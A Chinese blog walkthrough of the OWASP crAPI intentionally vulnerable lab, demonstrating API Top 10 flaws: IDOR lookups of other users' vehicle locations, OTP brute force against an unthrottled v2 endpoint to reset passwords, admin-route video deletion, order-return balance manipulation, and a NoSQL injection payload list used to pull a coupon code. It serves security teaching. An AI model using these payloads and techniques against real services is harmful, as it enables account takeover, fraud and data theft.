API安全靶场crAPI 常见的Owasp Api Security Top10讲解

相关阅读

crAPI靶场部署

我们这里使用的CentOS的虚拟机,先下载docker-compose.yml文件

curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml

然后运行下面的命令,拉取镜像

docker-compose pull

启动crAPI靶场

docker-compose -f docker-compose.yml --compatibility up -d
图片[1]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

常见问题:端口占用导致启动报错

图片[2]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

如果启动报错,8888端口被占用,通常是你的其他容器或者是宝塔面板与其冲突了,故你可能需要改变端口或者是将8888端口放开,就不会有报错了

Error starting userland proxy: listen tcp4 127.0.0.1:8888: bind: address already in use

玩转crAPI靶场

图片[3]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

注册账户

我们点击Signup进行注册,随便输入个密码

图片[4]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog
图片[5]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

场景说明

这个靶场主要是以汽车维修为主题的,因此,注册了账户之后需要添加车辆

图片[6]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们可以在搭建靶场里的mailhog的镜像中,找到相关邮件

图片[7]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这里有我们的车辆编号和PIN码

图片[8]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们添加认证即可

图片[9]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog
图片[10]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

然后我们的车辆就显示在个人中心了

图片[11]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

讲解说明

接下来,我们将逐步为大家演示Owasp Api Security Top10

  • API1:2019-失效的对象级别授权
  • API2:2019-失效的用户身份验证
  • API3:2019-过度的数据暴露
  • API4:2019-资源缺乏和速率限制
  • API5:2019-失效的功能级授权
  • API6:2019-批量分配
  • API7:2019-安全配置错误
  • API8:2019-注入
  • API9:2019-资产管理不当
  • API10:2019-日志和监视不足

API1:2019-失效的对象级别授权

Broken Object Level Authorization(BOLA)

未授权访问将导致数据向未授权的组织披露、数据丢失或数据篡改。未授权的对象访问也能导致整个账户被控制

我们在车辆信息的界面,可以看到最下方有一个刷新定位(Refresh Location)的按钮

图片[12]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

点击之后,可以看到接口如下

/identity/api/v2/vehicle/0d85ee5f-5bd5-4045-ab36-0e6015d9b49b/location

我们可以将其简化一下

/identity/api/v2/vehicle/车辆UUID/location

这里请求的是我们自己车辆的UUID,可以看到结果中提供了车辆UUID经纬度车主姓名

{
    "carId": "0d85ee5f-5bd5-4045-ab36-0e6015d9b49b",
    "vehicleLocation": {
        "id": 2,
        "latitude": "39.0247621",
        "longitude": "-77.1402267"
    },
    "fullName": "FancyPig"
}
图片[13]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

那么,如果我们知道其他人的车辆UUID,是否可以查询到他人的地理位置的信息呢?他人的车辆UUID我们可以在社区Community页面的接口中找到,您可以详细看下API3:2019-过度的数据暴露讲解,其中就涉及了数据暴露车辆的UUID

我们现在使用Robot的车辆UUID:4b4ee5f8-2dcb-4a77-b0d1-2c067f055f87

然后访问接口,看看能不能拿到Robot车主的一些数据,这里可以看到是能获取到Robot车主的经纬度以及它的编号

{
    "carId": "4b4ee5f8-2dcb-4a77-b0d1-2c067f055f87",
    "vehicleLocation": {
        "id": 10,
        "latitude": "38.9518424",
        "longitude": "-77.1483682"
    },
    "fullName": "Robot"
}
图片[14]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

由此,我们现在理解了第一个API安全的漏洞:失效的对象级别授权

其实,这个漏洞与之前web安全漏洞中的不安全的对象引用(IDOR)其实是很相似的,就是在一个接口中,我们使用他人的ID传入参数,如果接口没有对访问权限进行判断,则我们可以看到其他人的一些信息。这个漏洞之所以是排在TOP1的,一个是其危害性极大,另一个是漏洞比较普遍,这也提醒了开发者在开发的时候一定要对特定资源获取进行权限的校验,否则可能会产生数据泄露的情况。譬如,读取到他人的订单信息?或者其他的?

其实这个靶场中,除了通过提供他人车辆UUID查询信息以外,我们还可以通过车辆报修的接口,查看他人车辆维修单的信息,我们这里也简要进行说明,点击联系技工(Contact Mechanic)

图片[15]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog
图片[16]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

然后我们可以观察接口

/workshop/api/merchant/contact_mechanic

返回内容

{
    "response_from_mechanic_api": {
        "id": 7,
        "sent": true,
        "report_link": "http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id=7"
    },
    "status": 200
}

从中我们又得到了一个接口地址

/workshop/api/mechanic/mechanic_report?report_id=7
图片[17]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

同样的思路,我们继续改变report_id的值,譬如把7改成1,看看能不能获取到他人提交的报修数据

发现是可以的,无论是车辆ID、VIN还是车主邮箱账户、问题细节以及维修状态,这里均是可以查看的,因此也是存在失效的对象级别授权安全漏洞的

图片[18]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

API2:2019-失效的用户身份验证

Broken User Authentication
攻击者可以访问用户在系统中的账户,读取他们的个人数据,并以他们的身份执行敏感操作,例如转账和发送私人消息。

我们这里可以找到重置密码的页面,我们看看能不能在这里通过失效的用户身份验证漏洞来重置他人的密码

图片[19]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们可以看到提交的接口为

/identity/api/auth/v3/check-otp

请求体为

{
    "email": "663962@qq.com",
    "otp": "1024",
    "password": "Fancy1234@!"
}

通过分析,我们可以看到email是我们要重置的邮箱账户,password是要重置的密码,而otp应该是邮箱接收到的验证码,那我们这里看看能不能暴力破解下呢

我们使用其他邮件找回密码

图片[20]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

然后尝试对otp进行暴力破解

{
    "email": "robot001@example.com",
    "otp": "1024",
    "password": "Fancy1234@!"
}
图片[21]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们在Intruder中将变量设置为1234

图片[22]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们选择4位数字从0000到9999进行暴力破解

图片[23]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

点击start attack

我们可以看到一开始请求是请稍后重试

图片[24]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

超过一定尝试次数之后,就会提示错误了

图片[25]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

因此,这样暴力破解似乎不太行,我们尝试通过将V3接口修改为V2接口进行尝试呢?

/identity/api/auth/v3/check-otp

我们将请求接口改为v2

/identity/api/auth/v2/check-otp
图片[26]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

继续进行攻击(这里如果你发现结果返回值都一致,则需要重新点击邮件重置密码,请求一次重置密码的接口,会重新发送OTP验证码,然后直接暴力破解v2接口),可以发现这次是能够成功的

这里相当于是没有对v2接口进行请求次数的限制,导致我们可以通过暴力破解来猜出邮件接收的验证码

图片[27]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们去邮件中查看,可以发现OTP是7575

图片[28]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

至此,这个漏洞就完成了,我们相当于通过暴力猜解的方式,利用失效的用户身份验证漏洞,重置了用户的密码。因此作为开发者应该在更换新的V3接口时,移除旧的V2接口,其实V2接口也是我们常说的影子API(shadow API),有一些是废弃的,有一些可能是开发过程中测试的接口,但是这些接口如果被恶意攻击者发现,而且利用,会造成不可估量的后果,在这里的后果就是可以重置任意用户的密码,最终导致账户接管。

API3:2019-过度的数据暴露

Excessive Data Exposure
过度的数据暴露通常导致敏感数据的泄露。

我们可以在crAPI靶场中,找到社区Community页面,打开后,会发现访问了最近帖子的接口

/community/api/v2/community/posts/recent
图片[29]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

通常情况下帖子接口应该就只返回头像用户名帖子信息,但通过上图我们可以看到返回的结果中还包含了发帖人的邮箱账户以及车辆ID,因此这个就属于过渡的数据暴露(Excessive Data Exposure),通过这种接口,很容易出现数据泄露的情况

[
    {
        "id": "Gpc8dKcDbe276FHAzTsVef",
        "title": "Title 3",
        "content": "Hello world 3",
        "author": {
            "nickname": "Robot",
            "email": "robot001@example.com",
            "vehicleid": "4b4ee5f8-2dcb-4a77-b0d1-2c067f055f87",
            "profile_pic_url": "",
            "created_at": "2022-12-20T04:25:22.565Z"
        },
        "comments": [],
        "authorid": 3,
        "CreatedAt": "2022-12-20T04:25:22.565Z"
    },
    {
        "id": "RhGF6by7PypBXsH2q3BxWE",
        "title": "Title 2",
        "content": "Hello world 2",
        "author": {
            "nickname": "Pogba",
            "email": "pogba006@example.com",
            "vehicleid": "25f50703-1238-4932-a003-f4ccbab16b56",
            "profile_pic_url": "",
            "created_at": "2022-12-20T04:25:22.561Z"
        },
        "comments": [],
        "authorid": 2,
        "CreatedAt": "2022-12-20T04:25:22.561Z"
    },
    {
        "id": "b8qWsJxVL5bFFp8K7CruoP",
        "title": "Title 1",
        "content": "Hello world 1",
        "author": {
            "nickname": "Adam",
            "email": "adam007@example.com",
            "vehicleid": "6b2c79c3-ba50-418a-87a1-ec0ca4ded649",
            "profile_pic_url": "",
            "created_at": "2022-12-20T04:25:22.555Z"
        },
        "comments": [],
        "authorid": 1,
        "CreatedAt": "2022-12-20T04:25:22.555Z"
    }
]

API4:2019-资源缺乏和速率限制

Lack of Resources & Rate Limiting
漏洞可能导致DoS,造成API无响应或不可用。

这里我们依旧是围绕着刚才提交维修单的例子

图片[30]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

可以看到请求的接口为

/workshop/api/merchant/contact_mechanic

请求体为

{
    "mechanic_code": "TRAC_JHN",
    "problem_details": "FancyPig is here! I need help!",
    "vin": "5GZRR69SKWJ931809",
    "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/receive_report",
    "repeat_request_if_failed": false,
    "number_of_repeats": 1
}

我们可以看到这里有一个repeat_request_if_failed的字段,意思是如果请求失败了,这里是false,代表是请求成功了。

    "repeat_request_if_failed": false,

那如果请求失败了会怎样呢?可以看到下面有number_of_repeats,代表重试次数,这里是为1

    "number_of_repeats": 1

那我们思考下,如果修改一下上面的逻辑,如果请求失败为true,那么去重试10000次,则应该写为

    "repeat_request_if_failed": true,
    "number_of_repeats": 10000

完整的请求体如下

{
    "mechanic_code": "TRAC_JHN",
    "problem_details": "FancyPig is here! I need help!",
    "vin": "5GZRR69SKWJ931809",
    "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/receive_report",
    "repeat_request_if_failed": true,
    "number_of_repeats": 10000
}

最终结果就是服务器认为我们没请求成功,一直请求服务器资源,这样会造成的后果就是服务器可能因为这种DOS攻击资源耗尽,这也就是资源缺乏和速率限制漏洞。

API5:2019-失效的功能级授权

Broken Function Level Authorization
这些缺陷使攻击者可以访问未经授权的功能。管理功能是此类攻击的主要目标。

这个失效的功能级授权听起来与TOP1的失效的对象级授权有些类似,但重点是功能,通过这个漏洞我们是否可以使用一些我们本身不具备的功能呢?我们看下个人中心的页面,在这里可以上传视频(小于10MB)

图片[31]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们这里随便从抖音上找了个视频,进行上传

图片[32]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们可以在右侧点击修改视频名称(Change Video Name)

图片[33]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

比如改成xiaoye

图片[34]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们可以看到使用PUT方式请求了接口

/identity/api/v2/user/videos/31
图片[35]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

请求体为

{
    "videoName": "xiaoye"
}
图片[36]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这时,聪明的你可能会想那我能不能把PUT改成DELETE,看看能不能把视频删了呢?

可以看到这里提示删除功能是管理员使用的,请尝试使用管理员的API

{
    "message": "This is an admin function. Try to access the admin API",
    "status": 403
}
图片[37]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

那我们这里看看把接口也修改下呢?

/identity/api/v2/user/videos/31

将user改成admin试试呢?

/identity/api/v2/admin/videos/31

可以看到结果是视频被删掉了

{
    "message": "User video deleted successfully.",
    "status": 200
}
图片[38]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

可以看到xiaoye的视频没了

图片[39]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这里你肯定不会奇怪,自己上传的视频删了,无所谓,那能不能把别人的视频也删了呢?

/identity/api/v2/admin/videos/31

这里是31,我们看看能不能删了33?

/identity/api/v2/admin/videos/33

33是我用另一个账户PigHub上传的

图片[40]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog
图片[41]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

现在看看能不能用FancyPig账户把其他人(PigHub)的视频删掉,可以看到是成功删掉了的

图片[42]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

由此,我们了解了失效的功能级授权漏洞是一种怎样的漏洞,相当于在REST API中,由于其可读性极强,我们往往也会着手针对useradmin不同管理权限的接口进行使用,当没有对接口进行身份验证时,则会出现我们上面的情况,可以任意删除其他用户的内容。因此,你也可以很容易理解他与TOP1失效对象级授权有什么区别,TOP1是用接口可以看其他用户的资料,而我们这里是可以删除或者修改其他用户的资料。

API6:2019-批量分配

Mass Assignment
利用该漏洞可能导致特权提升、数据篡改、绕过安全机制等。

我们这里进入商店页面,我们点击椅子进行购置

图片[43]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

可以看到请求接口为

/workshop/api/shop/orders

请求体为

{
    "product_id": 1,
    "quantity": 1
}

我们进入之前的订单页面

图片[44]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

可以发现还有以下接口

图片[45]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们把all改成1试试看,发现显示订单id为1的订单

图片[46]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这里你可能会继续考虑,那如果改成PUT请求

图片[47]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

并携带参数呢?

图片[48]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog
{
    "quantity": 1,
    "status": "delivered"
}

delivered代表是发出去的,那如果状态改成returned呢?

{
    "quantity": 1,
    "status": "returned"
}

我们先看下现在的余额是90美元

图片[49]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们发送刚才的请求

图片[50]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

看下结果,余额变成100了

图片[51]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

那如果数量再改多一些呢?

图片[52]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这里需要注意每笔订单只能退回一次,所以你第一次如果已经退回了,需要再下单,那么订单号就是2了,对第二个订单退回10个我们进行尝试

图片[53]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

可以看到余额变成190美元了

图片[54]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

这就是API安全中的批量分配漏洞,我们通过修改状态或者其他参数,最终造成余额或者其他数据被篡改。

API7:2019-安全配置错误

Security Misconfiguration
安全配置错误不仅会暴露敏感用户数据,还包括系统细节,而这些细节可能导致服务器完全被控制。

API8:2019-注入

Injection
注入会导致信息泄漏和数据丢失。还可能导致DoS,或者主机被接管。

这里的注入就是常规的SQL注入、NoSQL注入、GraphQL注入等等,我们在这里可以看下优惠券的页面

图片[55]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们尝试对coupon_code进行注入

图片[56]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们导入NoSQL的字典进行暴力破解

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true
图片[57]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

之后我们查看返回结果,发现这里提示

{
    "error": "invalid character '$' after object key:value pair"
}
图片[58]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

我们将请求中的引号去掉再进行尝试

{
    "coupon_code": "§1234§"
}

改为

{
    "coupon_code": §1234§
}

然后点击start attack

图片[59]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

然后,我们发现我们的NoSQL似乎注入成功了

{
    "coupon_code": "TRAC075",
    "amount": "75",
    "CreatedAt": "2022-12-20T04:25:22.509Z"
}

我们拿到了面值为75美元的优惠券TRAC075

图片[60]-API安全靶场crAPI 常见的Owasp Api Security Top10讲解-FancyPig's blog

API9:2019-资产管理不当

Improper Assets Management
攻击者可以访问敏感数据,甚至可以通过旧的、未打补丁的API版本连接到同一数据库从而控制服务器。

API10:2019-日志和监视不足

Insufficient Logging & Monitoring
由于无法发现正在进行的恶意活动,攻击者有足够的时间来完全破坏系统。

总结

上面我们主要是围绕着API安全漏洞原理讲解了靶场中涉及的Top1-10,部分没有就只介绍了其业务影响,当然,通过上述靶场一方面是为了更好地理解API可能存在的安全,除此之外,还可以思考的是作为防守者或者说是安全厂商的设备,如何能够更好的进行防护、检测这些威胁?

譬如通过API安全序列?每个API请求都会有一定的排列顺序,如果不符合业务逻辑的顺序,我们可以很快的发现渗透测试的行为。

当然,也可以通过其他方式,来寻找其中的基线,譬如IP+API、IP+UA、账户行为异常、特征波动异常,你也可以尝试通过一些可解释AI算法模型,譬如Shap之类的算法进行检测!

© 版权声明
THE END
喜欢就支持一下吧
点赞22赞赏 分享
评论 共6条

请登录后发表评论